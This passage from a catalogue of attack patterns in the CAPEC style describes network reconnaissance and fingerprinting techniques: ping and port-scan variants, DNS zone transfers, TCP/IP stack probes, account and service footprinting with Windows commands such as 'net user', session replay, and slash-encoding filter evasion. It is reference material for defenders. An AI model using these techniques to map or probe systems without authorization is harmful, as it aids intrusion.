An adversary sends out an ICMP Type 8 Echo Request, commonly known as a 'Ping', in order to determine if a target system is responsive. If the request is not blocked by a firewall or ACL, the target host will respond with an ICMP Type 0 Echo Reply datagram. This type of exchange is usually referred to as a 'Ping' due to the Ping utility present in almost all operating systems. Ping, as commonly implemented, allows a user to test for alive hosts, measure round-trip time, and measure the percentage of packet loss.
CAPEC-287: TCP SYN Scan
An adversary uses a SYN scan to determine the status of ports on the remote target. SYN scanning is the most common type of port scanning that is used because of its many advantages and few drawbacks. As a result, novice attackers tend to overly rely on the SYN scan while performing system reconnaissance. As a scanning method, the primary advantages of SYN scanning are its universality and speed.
CAPEC-290: Enumerate Mail Exchange (MX) Records
An adversary enumerates the MX records for a given via a DNS query. This type of information gathering returns the names of mail servers on the network. Mail servers are often not exposed to the Internet but are located within the DMZ of a network protected by a firewall. A side effect of this configuration is that enumerating the MX records for an organization my reveal the IP address of the firewall or possibly other internal systems. Attackers often resort to MX record enumeration when a DNS Zone Transfer is not possible.
CAPEC-291: DNS Zone Transfers
An attacker exploits a DNS misconfiguration that permits a ZONE transfer. Some external DNS servers will return a list of IP address and valid hostnames. Under certain conditions, it may even be possible to obtain Zone data about the organization's internal network. When successful the attacker learns valuable information about the topology of the target organization, including information about particular servers, their role within the IT structure, and possibly information about the operating systems running upon the network. This is configuration dependent behavior so it may also be required to search out multiple DNS servers while attempting to find one with ZONE transfers allowed.
CAPEC-292: Host Discovery
An adversary sends a probe to an IP address to determine if the host is alive. Host discovery is one of the earliest phases of network reconnaissance. The adversary usually starts with a range of IP addresses belonging to a target network and uses various methods to determine if a host is present at that IP address. Host discovery is usually referred to as 'Ping' scanning using a sonar analogy. The goal is to send a packet through to the IP address and solicit a response from the host. As such, a 'ping' can be virtually any crafted packet whatsoever, provided the adversary can identify a functional host based on its response. An attack of this nature is usually carried out with a 'ping sweep,' where a particular kind of ping is sent to a range of IP addresses.
CAPEC-293: Traceroute Route Enumeration
An adversary uses a traceroute utility to map out the route which data flows through the network in route to a target destination. Tracerouting can allow the adversary to construct a working topology of systems and routers by listing the systems through which data passes through on their way to the targeted machine. This attack can return varied results depending upon the type of traceroute that is performed. Traceroute works by sending packets to a target while incrementing the Time-to-Live field in the packet header. As the packet traverses each hop along its way to the destination, its TTL expires generating an ICMP diagnostic message that identifies where the packet expired. Traditional techniques for tracerouting involved the use of ICMP and UDP, but as more firewalls began to filter ingress ICMP, methods of traceroute using TCP were developed.
CAPEC-294: ICMP Address Mask Request
An adversary sends an ICMP Type 17 Address Mask Request to gather information about a target's networking configuration. ICMP Address Mask Requests are defined by RFC-950, "Internet Standard Subnetting Procedure." An Address Mask Request is an ICMP type 17 message that triggers a remote system to respond with a list of its related subnets, as well as its default gateway and broadcast address via an ICMP type 18 Address Mask Reply datagram. Gathering this type of information helps the adversary plan router-based attacks as well as denial-of-service attacks against the broadcast address.
CAPEC-295: Timestamp Request
This pattern of attack leverages standard requests to learn the exact time associated with a target system. An adversary may be able to use the timestamp returned from the target to attack time-based security algorithms, such as random number generators, or time-based authentication mechanisms.
CAPEC-296: ICMP Information Request
An adversary sends an ICMP Information Request to a host to determine if it will respond to this deprecated mechanism. ICMP Information Requests are a deprecated message type. Information Requests were originally used for diskless machines to automatically obtain their network configuration, but this message type has been superseded by more robust protocol implementations like DHCP.
CAPEC-297: TCP ACK Ping
An adversary sends a TCP segment with the ACK flag set to a remote host for the purpose of determining if the host is alive. This is one of several TCP 'ping' types. The RFC 793 expected behavior for a service is to respond with a RST 'reset' packet to any unsolicited ACK segment that is not part of an existing connection. So by sending an ACK segment to a port, the adversary can identify that the host is alive by looking for a RST packet. Typically, a remote server will respond with a RST regardless of whether a port is open or closed. In this way, TCP ACK pings cannot discover the state of a remote port because the behavior is the same in either case. The firewall will look up the ACK packet in its state-table and discard the segment because it does not correspond to any active connection. A TCP ACK Ping can be used to discover if a host is alive via RST response packets sent from the host.
CAPEC-298: UDP Ping
An adversary sends a UDP datagram to the remote host to determine if the host is alive. If a UDP datagram is sent to an open UDP port there is very often no response, so a typical strategy for using a UDP ping is to send the datagram to a random high port on the target. The goal is to solicit an 'ICMP port unreachable' message from the target, indicating that the host is alive. UDP pings are useful because some firewalls are not configured to block UDP datagrams sent to strange or typically unused ports, like ports in the 65K range. Additionally, while some firewalls may filter incoming ICMP, weaknesses in firewall rule-sets may allow certain types of ICMP (host unreachable, port unreachable) which are useful for UDP ping attempts.
CAPEC-299: TCP SYN Ping
An adversary uses TCP SYN packets as a means towards host discovery. Typical RFC 793 behavior specifies that when a TCP port is open, a host must respond to an incoming SYN "synchronize" packet by completing stage two of the 'three-way handshake' - by sending an SYN/ACK in response. When a port is closed, RFC 793 behavior is to respond with a RST "reset" packet. This behavior can be used to 'ping' a target to see if it is alive by sending a TCP SYN packet to a port and then looking for a RST or an ACK packet in response.
CAPEC-300: Port Scanning
An adversary uses a combination of techniques to determine the state of the ports on a remote target. Any service or application available for TCP or UDP networking will have a port open for communications over the network.
CAPEC-301: TCP Connect Scan
An adversary uses full TCP connection attempts to determine if a port is open on the target system. The scanning process involves completing a 'three-way handshake' with a remote port, and reports the port as closed if the full handshake cannot be established. An advantage of TCP connect scanning is that it works against any TCP/IP stack.
CAPEC-302: TCP FIN Scan
An adversary uses a TCP FIN scan to determine if ports are closed on the target machine. This scan type is accomplished by sending TCP segments with the FIN bit set in the packet header. The RFC 793 expected behavior is that any TCP segment with an out-of-state Flag sent to an open port is discarded, whereas segments with out-of-state flags sent to closed ports should be handled with a RST in response. This behavior should allow the adversary to scan for closed ports by sending certain types of rule-breaking packets (out of sync or disallowed by the TCB) and detect closed ports via RST packets.
CAPEC-303: TCP Xmas Scan
An adversary uses a TCP XMAS scan to determine if ports are closed on the target machine. This scan type is accomplished by sending TCP segments with all possible flags set in the packet header, generating packets that are illegal based on RFC 793. The RFC 793 expected behavior is that any TCP segment with an out-of-state Flag sent to an open port is discarded, whereas segments with out-of-state flags sent to closed ports should be handled with a RST in response. This behavior should allow an attacker to scan for closed ports by sending certain types of rule-breaking packets (out of sync or disallowed by the TCB) and detect closed ports via RST packets.
CAPEC-304: TCP Null Scan
An adversary uses a TCP NULL scan to determine if ports are closed on the target machine. This scan type is accomplished by sending TCP segments with no flags in the packet header, generating packets that are illegal based on RFC 793. The RFC 793 expected behavior is that any TCP segment with an out-of-state Flag sent to an open port is discarded, whereas segments with out-of-state flags sent to closed ports should be handled with a RST in response. This behavior should allow an attacker to scan for closed ports by sending certain types of rule-breaking packets (out of sync or disallowed by the TCB) and detect closed ports via RST packets.
CAPEC-305: TCP ACK Scan
An adversary uses TCP ACK segments to gather information about firewall or ACL configuration. The purpose of this type of scan is to discover information about filter configurations rather than port state. This type of scanning is rarely useful alone, but when combined with SYN scanning, gives a more complete picture of the type of firewall rules that are present.
CAPEC-306: TCP Window Scan
An adversary engages in TCP Window scanning to analyze port status and operating system type. TCP Window scanning uses the ACK scanning method but examine the TCP Window Size field of response RST packets to make certain inferences. While TCP Window Scans are fast and relatively stealthy, they work against fewer TCP stack implementations than any other type of scan. Some operating systems return a positive TCP window size when a RST packet is sent from an open port, and a negative value when the RST originates from a closed port. TCP Window scanning is one of the most complex scan types, and its results are difficult to interpret. Window scanning alone rarely yields useful information, but when combined with other types of scanning is more useful. It is a generally more reliable means of making inference about operating system versions than port status.
CAPEC-307: TCP RPC Scan
An adversary scans for RPC services listing on a Unix/Linux host.
CAPEC-308: UDP Scan
An adversary engages in UDP scanning to gather information about UDP port status on the target system. UDP scanning methods involve sending a UDP datagram to the target port and looking for evidence that the port is closed. Open UDP ports usually do not respond to UDP datagrams as there is no stateful mechanism within the protocol that requires building or establishing a session. Responses to UDP datagrams are therefore application specific and cannot be relied upon as a method of detecting an open port. UDP scanning relies heavily upon ICMP diagnostic messages in order to determine the status of a remote port.
CAPEC-309: Network Topology Mapping
An adversary engages in scanning activities to map network nodes, hosts, devices, and routes. Adversaries usually perform this type of network reconnaissance during the early stages of attack against an external network. Many types of scanning utilities are typically employed, including ICMP tools, network mappers, port scanners, and route testing utilities such as traceroute.
CAPEC-310: Scanning for Vulnerable Software
An attacker engages in scanning activity to find vulnerable software versions or types, such as operating system versions or network services. Vulnerable or exploitable network configurations, such as improperly firewalled systems, or misconfigured systems in the DMZ or external network, provide windows of opportunity for an attacker. Common types of vulnerable software include unpatched operating systems or services (e.g FTP, Telnet, SMTP, SNMP) running on open ports that the attacker has identified. Attackers usually begin probing for vulnerable software once the external network has been port scanned and potential targets have been revealed.
CAPEC-312: Active OS Fingerprinting
An adversary engages in activity to detect the operating system or firmware version of a remote target by interrogating a device, server, or platform with a probe designed to solicit behavior that will reveal information about the operating systems or firmware in the environment. Operating System detection is possible because implementations of common protocols (Such as IP or TCP) differ in distinct ways. While the implementation differences are not sufficient to 'break' compatibility with the protocol the differences are detectable because the target will respond in unique ways to specific probing activity that breaks the semantic or logical rules of packet construction for a protocol. Different operating systems will have a unique response to the anomalous input, providing the basis to fingerprint the OS behavior. This type of OS fingerprinting can distinguish between operating system types and versions.
CAPEC-313: Passive OS Fingerprinting
An adversary engages in activity to detect the version or type of OS software in a an environment by passively monitoring communication between devices, nodes, or applications. Passive techniques for operating system detection send no actual probes to a target, but monitor network or client-server communication between nodes in order to identify operating systems based on observed behavior as compared to a database of known signatures or values. While passive OS fingerprinting is not usually as reliable as active methods, it is generally better able to evade detection.
CAPEC-317: IP ID Sequencing Probe
This OS fingerprinting probe analyzes the IP 'ID' field sequence number generation algorithm of a remote host. Operating systems generate IP 'ID' numbers differently, allowing an attacker to identify the operating system of the host by examining how is assigns ID numbers when generating response packets. RFC 791 does not specify how ID numbers are chosen or their ranges, so ID sequence generation differs from implementation to implementation. There are two kinds of IP 'ID' sequence number analysis - IP 'ID' Sequencing: analyzing the IP 'ID' sequence generation algorithm for one protocol used by a host and Shared IP 'ID' Sequencing: analyzing the packet ordering via IP 'ID' values spanning multiple protocols, such as between ICMP and TCP.
CAPEC-318: IP 'ID' Echoed Byte-Order Probe
This OS fingerprinting probe tests to determine if the remote host echoes back the IP 'ID' value from the probe packet. An attacker sends a UDP datagram with an arbitrary IP 'ID' value to a closed port on the remote host to observe the manner in which this bit is echoed back in the ICMP error message. The identification field (ID) is typically utilized for reassembling a fragmented packet. Some operating systems or router firmware reverse the bit order of the ID field when echoing the IP Header portion of the original datagram within an ICMP error message.
CAPEC-319: IP (DF) 'Don't Fragment Bit' Echoing Probe
This OS fingerprinting probe tests to determine if the remote host echoes back the IP 'DF' (Don't Fragment) bit in a response packet. An attacker sends a UDP datagram with the DF bit set to a closed port on the remote host to observe whether the 'DF' bit is set in the response packet. Some operating systems will echo the bit in the ICMP error message while others will zero out the bit in the response packet.
CAPEC-320: TCP Timestamp Probe
This OS fingerprinting probe examines the remote server's implementation of TCP timestamps. Not all operating systems implement timestamps within the TCP header, but when timestamps are used then this provides the attacker with a means to guess the operating system of the target. The attacker begins by probing any active TCP service in order to get response which contains a TCP timestamp. Different Operating systems update the timestamp value using different intervals. This type of analysis is most accurate when multiple timestamp responses are received and then analyzed. TCP timestamps can be found in the TCP Options field of the TCP header.
CAPEC-321: TCP Sequence Number Probe
This OS fingerprinting probe tests the target system's assignment of TCP sequence numbers. One common way to test TCP Sequence Number generation is to send a probe packet to an open port on the target and then compare the how the Sequence Number generated by the target relates to the Acknowledgement Number in the probe packet. Different operating systems assign Sequence Numbers differently, so a fingerprint of the operating system can be obtained by categorizing the relationship between the acknowledgement number and sequence number as follows: 1) the Sequence Number generated by the target is Zero, 2) the Sequence Number generated by the target is the same as the acknowledgement number in the probe, 3) the Sequence Number generated by the target is the acknowledgement number plus one, or 4) the Sequence Number is any other non-zero number.
CAPEC-322: TCP (ISN) Greatest Common Divisor Probe
This OS fingerprinting probe sends a number of TCP SYN packets to an open port of a remote machine. The Initial Sequence Number (ISN) in each of the SYN/ACK response packets is analyzed to determine the smallest number that the target host uses when incrementing sequence numbers. This information can be useful for identifying an operating system because particular operating systems and versions increment sequence numbers using different values. The result of the analysis is then compared against a database of OS behaviors to determine the OS type and/or version.
CAPEC-323: TCP (ISN) Counter Rate Probe
This OS detection probe measures the average rate of initial sequence number increments during a period of time. Sequence numbers are incremented using a time-based algorithm and are susceptible to a timing analysis that can determine the number of increments per unit time. The result of this analysis is then compared against a database of operating systems and versions to determine likely operation system matches.
CAPEC-324: TCP (ISN) Sequence Predictability Probe
This type of operating system probe attempts to determine an estimate for how predictable the sequence number generation algorithm is for a remote host. Statistical techniques, such as standard deviation, can be used to determine how predictable the sequence number generation is for a system. This result can then be compared to a database of operating system behaviors to determine a likely match for operating system and version.
CAPEC-325: TCP Congestion Control Flag (ECN) Probe
This OS fingerprinting probe checks to see if the remote host supports explicit congestion notification (ECN) messaging. ECN messaging was designed to allow routers to notify a remote host when signal congestion problems are occurring. Explicit Congestion Notification messaging is defined by RFC 3168. Different operating systems and versions may or may not implement ECN notifications, or may respond uniquely to particular ECN flag types.
CAPEC-326: TCP Initial Window Size Probe
This OS fingerprinting probe checks the initial TCP Window size. TCP stacks limit the range of sequence numbers allowable within a session to maintain the "connected" state within TCP protocol logic. The initial window size specifies a range of acceptable sequence numbers that will qualify as a response to an ACK packet within a session. Various operating systems use different Initial window sizes. The initial window size can be sampled by establishing an ordinary TCP connection.
CAPEC-327: TCP Options Probe
This OS fingerprinting probe analyzes the type and order of any TCP header options present within a response segment. Most operating systems use unique ordering and different option sets when options are present. RFC 793 does not specify a required order when options are present, so different implementations use unique ways of ordering or structuring TCP options. TCP options can be generated by ordinary TCP traffic.
CAPEC-328: TCP 'RST' Flag Checksum Probe
This OS fingerprinting probe performs a checksum on any ASCII data contained within the data portion or a RST packet. Some operating systems will report a human-readable text message in the payload of a 'RST' (reset) packet when specific types of connection errors occur. RFC 1122 allows text payloads within reset packets but not all operating systems or routers implement this functionality.
CAPEC-329: ICMP Error Message Quoting Probe
An adversary uses a technique to generate an ICMP Error message (Port Unreachable, Destination Unreachable, Redirect, Source Quench, Time Exceeded, Parameter Problem) from a target and then analyze the amount of data returned or "Quoted" from the originating request that generated the ICMP error message.
CAPEC-330: ICMP Error Message Echoing Integrity Probe
An adversary uses a technique to generate an ICMP Error message (Port Unreachable, Destination Unreachable, Redirect, Source Quench, Time Exceeded, Parameter Problem) from a target and then analyze the integrity of data returned or "Quoted" from the originating request that generated the error message.
CAPEC-472: Browser Fingerprinting
An attacker carefully crafts small snippets of Java Script to efficiently detect the type of browser the potential victim is using. Many web-based attacks need prior knowledge of the web browser including the version of browser to ensure successful exploitation of a vulnerability. Having this knowledge allows an attacker to target the victim with attacks that specifically exploit known or zero day weaknesses in the type and version of the browser used by the victim. Automating this process via Java Script as a part of the same delivery system used to exploit the browser is considered more efficient as the attacker can supply a browser fingerprinting method and integrate it with exploit code, all contained in Java Script and in response to the same web page request by the browser.
CAPEC-497: File Discovery
An adversary engages in probing and exploration activities to determine if common key files exists. Such files often contain configuration and security parameters of the targeted application, system or network. Using this knowledge may often pave the way for more damaging attacks.
CAPEC-508: Shoulder Surfing
In a shoulder surfing attack, an adversary observes an unaware individual's keystrokes, screen content, or conversations with the goal of obtaining sensitive information. One motive for this attack is to obtain sensitive information about the target for financial, personal, political, or other gains. From an insider threat perspective, an additional motive could be to obtain system/application credentials or cryptographic keys. Shoulder surfing attacks are accomplished by observing the content "over the victim's shoulder", as implied by the name of this attack.
CAPEC-573: Process Footprinting
An adversary exploits functionality meant to identify information about the currently running processes on the target system to an authorized user. By knowing what processes are running on the target system, the adversary can learn about the target environment as a means towards further malicious behavior.
CAPEC-574: Services Footprinting
An adversary exploits functionality meant to identify information about the services on the target system to an authorized user. By knowing what services are registered on the target system, the adversary can learn about the target environment as a means towards further malicious behavior. Depending on the operating system, commands that can obtain services information include "sc" and "tasklist/svc" using Tasklist, and "net start" using Net.
CAPEC-575: Account Footprinting
An adversary exploits functionality meant to identify information about the domain accounts and their permissions on the target system to an authorized user. By knowing what accounts are registered on the target system, the adversary can inform further and more targeted malicious behavior. Example Windows commands which can acquire this information are: "net user" and "dsquery".
CAPEC-576: Group Permission Footprinting
An adversary exploits functionality meant to identify information about user groups and their permissions on the target system to an authorized user. By knowing what users/permissions are registered on the target system, the adversary can inform further and more targeted malicious behavior. An example Windows command which can list local groups is "net localgroup".
CAPEC-577: Owner Footprinting
An adversary exploits functionality meant to identify information about the primary users on the target system to an authorized user. They may do this, for example, by reviewing logins or file modification times. By knowing what owners use the target system, the adversary can inform further and more targeted malicious behavior. An example Windows command that may accomplish this is "dir /A ntuser.dat". Which will display the last modified time of a user's ntuser.dat file when run within the root folder of a user. This time is synonymous with the last time that user was logged in.
CAPEC-59: Session Credential Falsification through Prediction
This attack targets predictable session ID in order to gain privileges. The attacker can predict the session ID used during a transaction to perform spoofing and session hijacking.
CAPEC-60: Reusing Session IDs (aka Session Replay)
This attack targets the reuse of valid session ID to spoof the target system in order to gain privileges. The attacker tries to reuse a stolen session ID used previously during a transaction to perform spoofing and session hijacking. Another name for this type of attack is Session Replay.
CAPEC-616: Establish Rogue Location
An adversary provides a malicious version of a resource at a location that is similar to the expected location of a legitimate resource. After establishing the rogue location, the adversary waits for a victim to visit the location and access the malicious resource.
CAPEC-643: Identify Shared Files/Directories on System
An adversary discovers connections between systems by exploiting the target system's standard practice of revealing them in searchable, common areas. Through the identification of shared folders/drives between systems, the adversary may further their goals of locating and collecting sensitive information/files, or map potential routes for lateral movement within the network.
CAPEC-646: Peripheral Footprinting
Adversaries may attempt to obtain information about attached peripheral devices and components connected to a computer system. Examples may include discovering the presence of iOS devices by searching for backups, analyzing the Windows registry to determine what USB devices have been connected, or infecting a victim system with malware to report when a USB device has been connected. This may allow the adversary to gain additional insight about the system or network environment, which may be useful in constructing further attacks.
CAPEC-651: Eavesdropping
An adversary intercepts a form of communication (e.g. text, audio, video) by way of software (e.g., microphone and audio recording application), hardware (e.g., recording equipment), or physical means (e.g., physical proximity). The goal of eavesdropping is typically to gain unauthorized access to sensitive information about the target for financial, personal, political, or other gains. Eavesdropping is different from a sniffing attack as it does not take place on a network-based communication channel (e.g., IP traffic). Instead, it entails listening in on the raw audio source of a conversation between two or more parties.
CAPEC-79: Using Slashes in Alternate Encoding
This attack targets the encoding of the Slash characters. An adversary would try to exploit common filtering problems related to the use of the slashes characters to gain access to resources on the target host. Directory-driven systems, such as file systems and databases, typically use the slash character to indicate traversal between directories or other container components. For murky historical reasons, PCs (and, as a result, Microsoft OSs) choose to use a backslash, whereas the UNIX world typically makes use of the forward slash. The schizophrenic result is that many MS-based systems are required to understand both forms of the slash. This gives the adversary many opportunities to discover and abuse a number of common filtering problems. The goal of this pattern is to discover server software that only applies filters to one version, but not the other.